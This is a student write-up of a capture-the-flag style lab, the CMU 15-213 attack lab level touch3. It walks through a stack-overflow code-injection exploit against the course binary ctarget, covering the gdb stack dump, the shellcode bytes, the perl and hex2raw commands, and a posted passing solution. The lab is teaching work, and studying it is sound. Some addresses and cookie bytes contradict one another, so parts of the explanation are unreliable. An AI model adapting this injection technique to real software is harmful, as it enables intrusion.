Skip to content

Level_2.md

Latest commit

 

History

History
81 lines (59 loc) · 2.63 KB

Level_2.md

File metadata and controls

81 lines (59 loc) · 2.63 KB
Raw

Level 2

In this level, instead of modifying the value by our cookie with int data type, we involves a code injection attack by passing a string as argument. The goal is to get CTARGET to execute the code for touch3 rather than returning to test. We must make it appear to touch3 as if we have passed a string representation of our cookie as its argument.

1. Creating string representation of our cookie

We need to include a string representation of our cookie in our exploit string. The string should consist of the eight hexadecimal digits (ordered from most to least significant) without a leading "0x".

Our coorkie = 59b997fa --> 35 39 62 39 39 37 66 61 0d 0a

2. Find the address of the string

Our injected code should set register %rdi to the address of this string. Applying the same technique level0 and level1, we can jump to function touch3 and see stack store after overflow

(gdb) x/20x $rsp
0x5561dc78:	0x88c7c748	0x685561dc	0x004018fa	0x616161c3
0x5561dc88:	0x39623935	0x61663739	0x61616161	0x61616161
0x5561dc98:	0x61616161	0x61616161	0x5561dc78	0x00000000
0x5561dca8:	0x00000002	0x00000000	0x00401f24	0x00000000
0x5561dcb8:	0x00000000	0x00000000	0xf4f4f4f4	0xf4f4f4f4

We can realize that address 0x5561dca8 will be address of %rdi ( We can see assembly language to verify it).

3. Create the string to exploit

First of all, we need to create the assembly code for exploit:

   0:	48 c7 c7 d8 dc 61 55 	mov    $0x5561dcd8,%rdi     --> put address of string in %rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa	    --> address touch3	
   c:	c3                   	retq

create the string exploit:

	danghai@ubuntu:~$ perl -e 'print "48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 ","61 "x27, "78 dc 61 55 ", "00 00 00 00 35 39 62 39 39 37 66 61"' > hex_level2
	danghai@ubuntu:~$./hex2raw <hex_level2> raw_level2
	danghai@ubuntu:~$./ctarget -q < raw_level2

Good! We got it:

Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61

Explanation exploit string:

48 c7 c7 a8 dc 61 55 68    --> Exploit assembly code
fa 18 40 00 c3 61 61 61    --> Padding 
61 61 61 61 61 61 61 61 
61 61 61 61 61 61 61 61 
61 61 61 61 61 61 61 61 
78 dc 61 55 00 00 00 00    --> Address of $rsp 
35 39 62 39 39 37 66 61    --> String cookie